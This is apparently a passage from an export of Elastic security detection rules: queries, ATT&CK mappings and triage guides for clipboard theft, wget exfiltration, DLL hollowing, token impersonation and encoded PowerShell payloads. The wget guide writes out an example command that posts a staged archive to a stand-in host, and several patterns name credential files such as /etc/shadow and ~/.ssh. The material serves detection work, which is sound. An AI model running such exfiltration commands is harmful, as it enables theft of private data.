[[rule.threat.technique.subtechnique]]
id = "T1071.001"
name = "Web Protocols"
reference = "https://attack.mitre.org/techniques/T1071/001/"
[rule.threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1112"
name = "Modify Registry"
reference = "https://attack.mitre.org/techniques/T1112/"
[[rule.threat.technique]]
id = "T1137"
name = "Office Application Startup"
reference = "https://attack.mitre.org/techniques/T1137/"
[[rule.threat.technique.subtechnique]]
id = "T1137.004"
name = "Outlook Home Page"
reference = "https://attack.mitre.org/techniques/T1137/004/"
[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
Stages and Predicates
Stage 1: registry
registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "URL" and
registry.path : (
"*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Webview\\*",
"*\\SOFTWARE\\Microsoft\\Office\\*\\Outlook\\Today\\*"
) and registry.data.strings : ("*://*", "*:\\*", "\\\\*\\*")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | ne |
| field:"EventType" kind:ne value:"deletion" |
registry.data.strings | wildcard |
| field:"Details" kind:wildcard |
registry.path | wildcard |
| field:"TargetObject" kind:wildcard |
registry.value | wildcard |
| field:"registry_value_name" kind:wildcard value:"URL" |
Pbpaste Execution via Unusual Parent Process
#Detects when an unusual parent process like Node.js, Python, or osascript executes the pbpaste binary to access clipboard data. This technique has been used by malware like OtterCookie to steal passwords and seed phrases from the clipboard.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Collection |
Telemetry Coverage
Rule Body
[metadata]
creation_date = "2026/01/30"
integration = ["endpoint"]
maturity = "production"
updated_date = "2026/02/03"
[rule]
author = ["Elastic"]
description = """
Detects when an unusual parent process like Node.js, Python, or osascript executes the pbpaste binary to
access clipboard data. This technique has been used by malware like OtterCookie to steal passwords and
seed phrases from the clipboard.
"""
from = "now-9m"
index = ["logs-endpoint.events.process-*"]
language = "eql"
license = "Elastic License v2"
name = "Pbpaste Execution via Unusual Parent Process"
references = [
"https://jp.security.ntt/tech_blog/contagious-interview-ottercookie"
]
risk_score = 73
rule_id = "d7182e12-df8f-4ecf-b8f8-7cc0adcec425"
severity = "high"
tags = [
"Domain: Endpoint",
"OS: macOS",
"Use Case: Threat Detection",
"Tactic: Collection",
"Data Source: Elastic Defend",
"Resources: Investigation Guide"
]
timestamp_override = "event.ingested"
type = "eql"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Pbpaste Execution via Unusual Parent Process
The pbpaste utility on macOS retrieves data from the system clipboard, making it a target for malware seeking to steal sensitive information such as passwords, cryptocurrency seed phrases, or authentication tokens. Threat actors, particularly those behind campaigns like OtterCookie, leverage scripting interpreters such as Node.js, Python, or osascript to programmatically access clipboard contents. This detection rule identifies suspicious process chains where these interpreters spawn pbpaste, indicating potential credential theft or data harvesting activity.
### Possible investigation steps
- Review the process.parent.name and process.parent.executable fields to identify which scripting interpreter spawned pbpaste and determine if this is expected behavior for the user or application context.
- Examine the process.parent.command_line field to understand what script or command initiated the clipboard access and assess whether it appears malicious or legitimate.
- Check for any network connections made by the parent process around the same time by correlating with network events, as clipboard data is often exfiltrated shortly after collection.
- Investigate the user account associated with the activity using the user.name field to determine if the behavior aligns with their typical work patterns.
- Review the process.parent.code_signature fields to verify whether the parent application is signed and trusted, as unsigned or untrusted interpreters are more suspicious.
- Search for related alerts or events on the same host within a short time window to identify if this is part of a larger attack chain.
### False positive analysis
- Legitimate automation tools and productivity applications may use pbpaste for clipboard operations as part of normal workflows. Verify the parent application and its purpose before escalating.
- Development and testing environments may trigger this detection when developers test clipboard functionality. Consider adding exclusions for known development tools after verification.
- Some password managers or clipboard utilities may spawn pbpaste for legitimate purposes. Document these applications and create targeted exceptions if confirmed safe.
- System administration scripts that manage clipboard data should be reviewed and allowlisted if they are part of approved IT operations.
### Response and remediation
- Immediately isolate the affected macOS device from the network to prevent potential data exfiltration if malicious activity is confirmed.
- Terminate the suspicious parent process and any child processes to stop ongoing clipboard harvesting activity.
- Conduct a forensic review of the clipboard history if available, and identify what sensitive data may have been exposed.
- Reset any credentials, API keys, or tokens that may have been present in the clipboard during the timeframe of the alert.
- Perform a full malware scan on the affected system using endpoint security tools to identify additional indicators of compromise.
- Review the origin of the parent script or application to understand the initial access vector and prevent reinfection.
- Escalate to the security operations team if the activity appears to be part of a coordinated campaign affecting multiple endpoints.
"""
query = '''
process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and
process.name == "pbpaste" and process.args_count == 1 and
(process.parent.name in ("node", "osascript") or process.parent.name like "python*") and
not process.parent.executable like "/Users/*/.pyenv/versions/*/bin/python3*"
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
name = "Collection"
id = "TA0009"
reference = "https://attack.mitre.org/tactics/TA0009/"
[[rule.threat.technique]]
name = "Clipboard Data"
id = "T1115"
reference = "https://attack.mitre.org/techniques/T1115/"
Stages and Predicates
Stage 1: process
process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and
process.name == "pbpaste" and process.args_count == 1 and
(process.parent.name in ("node", "osascript") or process.parent.name like "python*") and
not process.parent.executable like "/Users/*/.pyenv/versions/*/bin/python3*"
Indicators
These rows show field, operator, and value matches.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.parent.executable | wildcard | /Users/*/.pyenv/versions/*/bin/python3* | excludes:process.parent.executable field:"process.parent.executable" value:"/Users/*/.pyenv/versions/*/bin/python3*" |
Potential Data Exfiltration Through Wget
#Detects the use of wget to upload files to an internet server. Threat actors often will collect data on a system and attempt to exfiltrate it back to their command and control servers. Use of wget in this way, while not inherently malicious, should be considered highly abnormal and suspicious activity.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Collection | |
| Exfiltration |
Rule Body
[metadata]
creation_date = "2026/01/07"
integration = ["endpoint", "crowdstrike", "sentinel_one_cloud_funnel", "auditd_manager"]
maturity = "production"
updated_date = "2026/03/24"
[rule]
author = ["Elastic"]
description = """
Detects the use of wget to upload files to an internet server. Threat actors often will collect data on a system
and attempt to exfiltrate it back to their command and control servers. Use of wget in this way, while not
inherently malicious, should be considered highly abnormal and suspicious activity.
"""
from = "now-9m"
index = [
"auditbeat-*",
"endgame-*",
"logs-auditd_manager.auditd-*",
"logs-crowdstrike.fdr*",
"logs-endpoint.events.process*",
"logs-sentinel_one_cloud_funnel.*",
]
language = "eql"
license = "Elastic License v2"
name = "Potential Data Exfiltration Through Wget"
note = """ ## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Potential Data Exfiltration Through Wget
This rule flags Linux processes that launch wget with options that upload a local file via HTTP POST, a behavior used to exfiltrate staged data to an external server. Attackers gather files, compress them in /tmp, then execute wget --post-file=/tmp/loot.tar.gz https://example.com/upload from a non-interactive shell or cron job to covertly push the archive out over standard web traffic.
### Possible investigation steps
- Pull the full command line to extract the posted file path, verify the file still exists, capture size/timestamps, and hash its contents to gauge sensitivity and origin.
- Review the process tree and session context (parent, user, TTY, cron/systemd/container) and correlate with recent logins or scheduler entries to determine whether this was automated or a remote shell action.
- Enrich the destination endpoint with DNS, WHOIS, certificate, proxy, and egress firewall logs, and check for prior communications from this host to the same domain/IP to assess legitimacy.
- Pivot 30–60 minutes prior on the host/user for staging activity such as tar/gzip in /tmp, bulk file collection, or discovery commands, and interrogate shell history and filesystem events tied to the posted file.
- If the file was removed post-upload, attempt recovery from EDR or backups and estimate exfil volume and content types via proxy or egress gateway logs to determine impact and drive containment.
### False positive analysis
- A maintenance or monitoring script run via cron posts log archives or configuration snapshots using wget --post-file to an internal HTTP endpoint for routine diagnostics.
- An administrator or developer testing a web form or API uses wget --body-file to POST a sample file during troubleshooting, producing a benign one-off event.
### Response and remediation
- Immediately isolate the host, terminate the offending wget process, block outbound HTTP(S) to the destination domain/IP seen in the command wget --post-file=/path/to/file https://example.com/upload, and quarantine the posted file path and its parent directory.
- Identify and disable any cron, systemd, or shell script that invoked wget with --post-file or --body-file (e.g., entries in /etc/cron.d/, user crontabs, or /home/user/.local/bin/upload.sh), delete the script, and revoke the invoking account’s API tokens and SSH keys.
- Remove staged archives and temp files referenced in the upload (e.g., /tmp/loot.tar.gz and /var/tmp/*.gz), delete companion tooling or collection scripts found alongside them, and reimage the host if system integrity cannot be assured.
- If the posted content includes credentials, source code, or customer data, rotate affected passwords/keys, invalidate tokens, notify data owners, and restore impacted systems or files from known-good backups.
- Escalate to incident response and initiate wider containment if the destination domain/IP is not owned by the organization or resolves to an anonymizing/VPS service, if multiple hosts exhibit wget --post-file from non-interactive sessions, or if the uploader executed as root.
- Harden by enforcing SELinux/AppArmor policies that restrict wget/curl from posting files, requiring egress web proxy allowlists for HTTP POST destinations, adding detections for wget --post-file/--body-file and curl --upload-file/-F, and removing wget from systems where it is unnecessary.
"""
references = [
"https://gtfobins.github.io/gtfobins/wget/",
"https://cloud.google.com/blog/topics/threat-intelligence/disrupting-gridtide-global-espionage-campaign?hl=en"
]
risk_score = 47
rule_id = "8d8c0b55-ef27-4c20-959f-fa8dd3ac25e6"
setup = """## Setup
This rule requires data coming in from Elastic Defend.
### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
"""
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Exfiltration",
"Data Source: Auditd Manager",
"Data Source: Elastic Defend",
"Data Source: Crowdstrike",
"Data Source: SentinelOne",
"Data Source: Elastic Endgame",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where host.os.type == "linux" and event.type == "start" and
event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and
process.name == "wget" and ?process.parent.executable != null and (
process.args like ("--post-file*", "--post-data*", "--body-file*") or
(
process.command_line like ("*cat*", "*base64*") and
process.command_line like (
"*/etc/passwd*", "*/etc/shadow*", "*~/.ssh/*", "*.env*", "*credentials*", "*/tmp/*",
"*/var/tmp/*", "*/dev/shm/*", "*/home/*/*", "*/root/*"
)
)
) and
(
process.command_line like ("*http:*", "*https:*") or
process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}.*"
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1048"
name = "Exfiltration Over Alternative Protocol"
reference = "https://attack.mitre.org/techniques/T1048/"
[rule.threat.tactic]
id = "TA0010"
name = "Exfiltration"
reference = "https://attack.mitre.org/tactics/TA0010/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1005"
name = "Data from Local System"
reference = "https://attack.mitre.org/techniques/T1005/"
[rule.threat.tactic]
id = "TA0009"
name = "Collection"
reference = "https://attack.mitre.org/tactics/TA0009/"
Stages and Predicates
Stage 1: process
process where host.os.type == "linux" and event.type == "start" and
event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and
process.name == "wget" and ?process.parent.executable != null and (
process.args like ("--post-file*", "--post-data*", "--body-file*") or
(
process.command_line like ("*cat*", "*base64*") and
process.command_line like (
"*/etc/passwd*", "*/etc/shadow*", "*~/.ssh/*", "*.env*", "*credentials*", "*/tmp/*",
"*/var/tmp/*", "*/dev/shm/*", "*/home/*/*", "*/root/*"
)
)
) and
(
process.command_line like ("*http:*", "*https:*") or
process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}.*"
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | in |
| field:"EventType" kind:in |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | wildcard |
| field:"process.args" kind:wildcard |
process.command_line | regex_match |
| field:"CommandLine" kind:regex_match value:".*[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.*" |
process.command_line | wildcard |
| field:"CommandLine" kind:wildcard |
process.name | eq |
| field:"process_basename" kind:eq value:"wget" |
process.parent.executable | is_not_null | field:"ParentImage" kind:is_not_null |
Potential DLL Hollowing with Transactional NTFS
#Identifies attempts to load a transacted file. This is a technique that exploits Transactional NTFS to execute arbitrary code in the address space of a running process, without committing the code to disk.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Rule Body
[rule]
description = """
Identifies attempts to load a transacted file. This is a technique that exploits Transactional NTFS to execute arbitrary
code in the address space of a running process, without committing the code to disk.
"""
id = "7f61cf66-1363-4b2a-8f82-73cc2bd46b17"
license = "Elastic License v2"
name = "Potential DLL Hollowing with Transactional NTFS"
os_list = ["windows"]
version = "1.0.3"
query = '''
library where event.action == "load" and process.pid != 4 and
dll.Ext.defense_evasions == "Process Tampering: Image belongs to a transaction" and
dll.Ext.defense_evasions == "Process Tampering: Image has been accessed before mapping"
'''
min_endpoint_version = "8.10.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true
[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1055"
name = "Process Injection"
reference = "https://attack.mitre.org/techniques/T1055/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "8.10.0"
Stages and Predicates
Stage 1: library
library where event.action == "load" and process.pid != 4 and
dll.Ext.defense_evasions == "Process Tampering: Image belongs to a transaction" and
dll.Ext.defense_evasions == "Process Tampering: Image has been accessed before mapping"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
dll.Ext.defense_evasions | eq |
| field:"dll.Ext.defense_evasions" kind:eq |
event.action | eq |
| field:"EventType" kind:eq value:"load" |
process.pid | ne |
| field:"process_id" kind:ne value:"4" |
PowerShell Script with Token Impersonation Capabilities
#Detects PowerShell scripts that references token manipulation and impersonation APIs such as CreateProcessWithTokenW, DuplicateToken/ImpersonateLoggedOnUser, or AdjustTokenPrivileges (SeDebugPrivilege). Attackers abuse token impersonation to elevate privileges and bypass access controls.
MITRE ATT&CK Coverage
Rule Body
[metadata]
creation_date = "2022/08/17"
integration = ["windows"]
maturity = "production"
updated_date = "2026/03/24"
[rule]
author = ["Elastic"]
description = """
Detects PowerShell scripts that references token manipulation and impersonation APIs such as CreateProcessWithTokenW,
DuplicateToken/ImpersonateLoggedOnUser, or AdjustTokenPrivileges (SeDebugPrivilege). Attackers abuse token impersonation
to elevate privileges and bypass access controls.
"""
from = "now-9m"
index = ["winlogbeat-*", "logs-windows.powershell*"]
language = "kuery"
license = "Elastic License v2"
name = "PowerShell Script with Token Impersonation Capabilities"
note = """## Triage and analysis
> **Disclaimer**:
> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies.
### Investigating PowerShell Script with Token Impersonation Capabilities
This rule Detects PowerShell scripts that includes token manipulation and impersonation primitives. Such functionality can be used to execute follow-on actions under a different security context, including elevated or alternate user tokens. The primary investigation goals are to (1) reconstruct and understand the script intent, (2) validate whether the activity is authorized, and (3) identify any resulting privileged execution on the host.
#### Key alert fields to review
- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping.
- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping.
- `powershell.file.script_block_text`: Script block content that matched the detection logic.
- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events.
- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file.
- `powershell.file.script_block_length`: Script block length (size) context.
#### Possible investigation steps
- Preserve and reconstruct the full script block content:
- Capture `powershell.file.script_block_text` from the alert for analysis and evidence retention.
- If the script is logged in multiple fragments, pivot on `powershell.file.script_block_id` and reassemble in order using `powershell.sequence`. Use `powershell.total` to confirm you have the complete set of fragments.
- Use `powershell.file.script_block_length` to help gauge completeness and identify unusually large blocks that may contain reusable libraries or modules.
- Identify which token technique is present and what outcome the script is attempting:
- Review the reconstructed content for indicators of:
- Token duplication and impersonation (for example: `DuplicateToken`, `DuplicateTokenEx`, `SetThreadToken`, `ImpersonateLoggedOnUser`, `NtImpersonateThread`).
- Named pipe impersonation (`ImpersonateNamedPipeClient`).
- Privilege enablement (`AdjustTokenPrivileges` with `SeDebugPrivilege`).
- Token-based process creation (for example: `CreateProcessWithTokenW`, `CreateProcessAsUserW`, `CreateProcessAsUserA`) and related extended startup attributes (`STARTUPINFOEX`, `UpdateProcThreadAttribute`).
- Higher-level wrappers commonly associated with token manipulation (for example: `Invoke-TokenManipulation`).
- Determine whether the script only defines helper functions/types versus actively invoking them. Content that both defines and calls token APIs within the same execution window is higher risk.
- Note any embedded targeting details in the script content (for example: intended user context, target process identifiers, or follow-on payload references), and preserve them for scoping and hunting.
- Validate execution context and expectedness:
- Use `host.name` and `host.id` to understand where the activity occurred and whether the system role typically requires privileged PowerShell usage.
- Use `user.name`, `user.domain`, and `user.id` to identify the executing account and determine whether this user is expected to run scripts that manipulate access tokens on this host.
- Prioritize alerts involving unexpected users, unusual hosts (for example, servers with limited admin access), or repeated/recurrent script blocks indicating persistence or automation.
- Assess script provenance when file context is present:
- If `file.path` is populated, determine whether the script came from a known module or an on-disk script file, and whether the location and naming are consistent with approved tooling.
- If only `file.directory` and `file.name` are populated, use them to pivot to related script blocks and identify other executions from the same origin.
- If the origin appears unfamiliar or user-writable, treat the artifact as suspicious and prioritize collecting the referenced file (and any adjacent module content) for deeper analysis.
- Correlate with surrounding host activity to determine impact:
- Pivot on `host.name` and the alert `@timestamp` into adjacent telemetry to identify the PowerShell host process and its initiating parent/source (interactive session, remote management, scheduled execution, or another process).
- Look for follow-on activity shortly after the alert time that would indicate successful impersonation or privilege escalation, such as:
- New process execution under a different user context than `user.name`.
- Privileged actions that require elevated rights (for example, service/task changes, registry modifications, or access to protected resources).
- If multiple script blocks occur close together for the same `user.id` and `host.id`, review them as a single activity chain to understand staging, execution, and any post-escalation behavior.
- Scope and hunt for related activity:
- Search for additional occurrences of distinctive substrings from `powershell.file.script_block_text` (function names, API names, unique strings) across other users and hosts to identify reuse.
- Review whether the same `user.id` is associated with similar script blocks on other `host.id` values, which can indicate broad automation or a compromised account used across systems.
- If `file.path` is present, check for the same path and file name across the environment, and identify unexpected hosts where the artifact appears.
### False positive analysis
- Legitimate administrative automation may use token impersonation to run tasks under alternate credentials, perform controlled privilege transitions, or integrate with management workflows.
- Development and troubleshooting scripts may contain token API references as reusable helpers without being used for malicious outcomes.
To reduce false positives, focus on provenance and behavior: scripts from known, approved sources and executed by expected administrative identities on expected hosts are more likely benign, while ad-hoc or newly introduced scripts, unfamiliar file origins, and follow-on privileged execution increase concern.
### Response and remediation
- If the activity is unauthorized or suspicious:
- Contain the host to prevent further privileged execution and limit lateral movement according to your incident response procedures.
- Preserve evidence: the reconstructed script block content, associated `powershell.file.script_block_id` fragments, and any referenced on-disk artifacts from `file.path` (or `file.directory`/`file.name`).
- Investigate and remediate outcomes of token impersonation, including processes started under unexpected security contexts and any privileged system changes occurring after the alert time.
- Reduce attacker access and recurrence:
- Review the executing account identified in `user.id`; reset credentials and invalidate active sessions as appropriate.
- Review privileged access assignments for the involved accounts and hosts, and remove unauthorized privilege grants where identified.
- If the script enabled sensitive privileges (for example, `SeDebugPrivilege`), assess for additional post-exploitation activity that could leverage enhanced access to protected processes and resources.
- Eradicate and recover:
- Remove unauthorized scripts/modules and any secondary artifacts or persistence mechanisms discovered during investigation.
- Monitor for repeat executions by hunting for the same token manipulation indicators observed in `powershell.file.script_block_text` across the environment.
- Ensure PowerShell script block logging is enabled and retained on systems where PowerShell is permitted so future activity can be reconstructed and scoped effectively.
"""
references = [
"https://github.com/decoder-it/psgetsystem",
"https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/Get-System.ps1",
"https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1",
"https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md",
]
risk_score = 47
rule_id = "11dd9713-0ec6-4110-9707-32daae1ee68c"
setup = """## Setup
PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104).
Setup instructions: https://ela.st/powershell-logging-setup
"""
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Privilege Escalation",
"Data Source: PowerShell Logs",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
event.category:process and host.os.type:windows and
powershell.file.script_block_text:(
"Invoke-TokenManipulation" or
"ImpersonateNamedPipeClient" or
"NtImpersonateThread" or
(
"STARTUPINFOEX" and
"UpdateProcThreadAttribute"
) or
(
"AdjustTokenPrivileges" and
"SeDebugPrivilege"
) or
(
("DuplicateToken" or
"DuplicateTokenEx") and
("SetThreadToken" or
"ImpersonateLoggedOnUser" or
"CreateProcessWithTokenW" or
"CreatePRocessAsUserW" or
"CreateProcessAsUserA")
)
) and
not (
user.id:("S-1-5-18" or "S-1-5-19" or "S-1-5-20") and
file.directory: "C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads"
) and
not powershell.file.script_block_text : (
"sentinelbreakpoints" and "Set-PSBreakpoint" and "PowerSploitIndicators"
) and
not (
powershell.file.script_block_text : "New-HPPrivateToastNotificationLogo" and
file.path : "C:\Program Files\HPConnect\hp-cmsl-wl\modules\HP.Notifications\HP.Notifications.psm1"
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1134"
name = "Access Token Manipulation"
reference = "https://attack.mitre.org/techniques/T1134/"
[[rule.threat.technique.subtechnique]]
id = "T1134.001"
name = "Token Impersonation/Theft"
reference = "https://attack.mitre.org/techniques/T1134/001/"
[[rule.threat.technique.subtechnique]]
id = "T1134.002"
name = "Create Process with Token"
reference = "https://attack.mitre.org/techniques/T1134/002/"
[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.001"
name = "PowerShell"
reference = "https://attack.mitre.org/techniques/T1059/001/"
[[rule.threat.technique]]
id = "T1106"
name = "Native API"
reference = "https://attack.mitre.org/techniques/T1106/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[rule.investigation_fields]
field_names = [
"@timestamp",
"user.name",
"user.id",
"user.domain",
"powershell.file.script_block_text",
"powershell.file.script_block_id",
"powershell.sequence",
"powershell.total",
"file.path",
"file.directory",
"file.name",
"process.pid",
"host.name",
"host.id",
"powershell.file.script_block_length"
]
Stages and Predicates
Stage 1: query
event.category:process and host.os.type:windows and
powershell.file.script_block_text:(
"Invoke-TokenManipulation" or
"ImpersonateNamedPipeClient" or
"NtImpersonateThread" or
(
"STARTUPINFOEX" and
"UpdateProcThreadAttribute"
) or
(
"AdjustTokenPrivileges" and
"SeDebugPrivilege"
) or
(
("DuplicateToken" or
"DuplicateTokenEx") and
("SetThreadToken" or
"ImpersonateLoggedOnUser" or
"CreateProcessWithTokenW" or
"CreatePRocessAsUserW" or
"CreateProcessAsUserA")
)
) and
not (
user.id:("S-1-5-18" or "S-1-5-19" or "S-1-5-20") and
file.directory: "C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads"
) and
not powershell.file.script_block_text : (
"sentinelbreakpoints" and "Set-PSBreakpoint" and "PowerSploitIndicators"
) and
not (
powershell.file.script_block_text : "New-HPPrivateToastNotificationLogo" and
file.path : "C:\Program Files\HPConnect\hp-cmsl-wl\modules\HP.Notifications\HP.Notifications.psm1"
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.category | eq |
| field:"event.category" kind:eq value:"process" |
powershell.file.script_block_text | eq |
| field:"ScriptBlockText" kind:eq |
powershell.file.script_block_text | in |
| field:"ScriptBlockText" kind:in |
Exclusions
The rule actively suppresses these predicates.
PowerShell Suspicious Payload Encoded and Compressed
#Identifies PowerShell script block content that combines Base64 decoding with .NET decompression (Deflate/GZip). Attackers use this pattern to deobfuscate and reconstruct payloads in memory to evade defenses.
Known False Positives
- Legitimate PowerShell scripts that reconstruct to a confirmed benign installer, updater, or administrative workflow for the same user and host scope.
MITRE ATT&CK Coverage
Rule Body
[metadata]
creation_date = "2021/10/19"
integration = ["windows"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
Identifies PowerShell script block content that combines Base64 decoding with .NET decompression (Deflate/GZip).
Attackers use this pattern to deobfuscate and reconstruct payloads in memory to evade defenses.
"""
false_positives = ["Legitimate PowerShell scripts that reconstruct to a confirmed benign installer, updater, or administrative workflow for the same user and host scope."]
from = "now-9m"
index = ["logs-windows.powershell*", "winlogbeat-*"]
language = "kuery"
license = "Elastic License v2"
name = "PowerShell Suspicious Payload Encoded and Compressed"
risk_score = 73
rule_id = "81fe9dc6-a2d7-4192-a2d8-eed98afc766a"
severity = "high"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Resources: Investigation Guide",
"Data Source: PowerShell Logs",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
event.category:process and host.os.type:windows and
powershell.file.script_block_entropy_bits >= 4.5 and
powershell.file.script_block_text : (
(
"System.IO.Compression.DeflateStream" or
"System.IO.Compression.GzipStream" or
"IO.Compression.DeflateStream" or
"IO.Compression.GzipStream"
) and
FromBase64String
) and
not user.id : "S-1-5-18"
'''
note = """## Triage and analysis
### Investigating PowerShell Suspicious Payload Encoded and Compressed
#### Possible investigation steps
- After reconstructing all fragments, does the script block decode, decompress, and run a second stage?
- Why: split 4104 events can hide the payload boundary or execution call.
- Focus: `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and reconstructed `powershell.file.script_block_text` on `host.id`. $investigate_0
- Hint: collect same-`powershell.file.script_block_id` fragments on `host.id`, order by `powershell.sequence`, and verify count against `powershell.total` before interpreting code.
- Implication: escalate or keep suspicious when the full block decodes Base64, decompresses it with a .NET compression stream, then invokes the result; lower suspicion only when reconstructed content is inert static data, configuration, or installer resource with no execution path.
- Was the script file-backed or fileless, and does the origin fit the user and host?
- Focus: origin first: `file.path` or absence, `file.name`, and `user.id` plus `host.id` for workflow scope. For file-backed scripts, compare same-origin script block events on the host. $investigate_1
- Implication: escalate when `file.path` is absent or points to user-writable, temporary, mounted, or delivery-oriented locations inconsistent with the user and host; lower suspicion when the same path or fileless pattern belongs to a stable packaging, deployment, or updater workflow for the same `user.id` and `host.id`.
- If endpoint process telemetry is available, how was the PowerShell instance launched?
- Why: script block events preserve code but not the command line or parent that explains delivery.
- Focus: recover the matching process via `host.id + process.pid`; then interpret `process.command_line` and `process.parent.command_line`. $investigate_2
- Hint: start around `@timestamp`; expand if no start event appears because PowerShell may predate script-block logging.
- Implication: escalate when the launch chain starts from a browser, document process, scheduled task, remote-management tool, or user-writable script path that does not fit the user; lower suspicion only when command line and parent align with the exact benign packaging, deployment, or updater workflow. Missing endpoint process telemetry leaves launch context unresolved; continue with content, origin, decoded indicators, and scope.
- What payload behavior is exposed by the reconstructed or decoded content?
- Focus: reconstructed `powershell.file.script_block_text` after Base64 and Deflate/GZip expansion, execution sinks, embedded indicators, and same-PID file plus network/DNS events for writes or retrieval. $investigate_3 $investigate_4
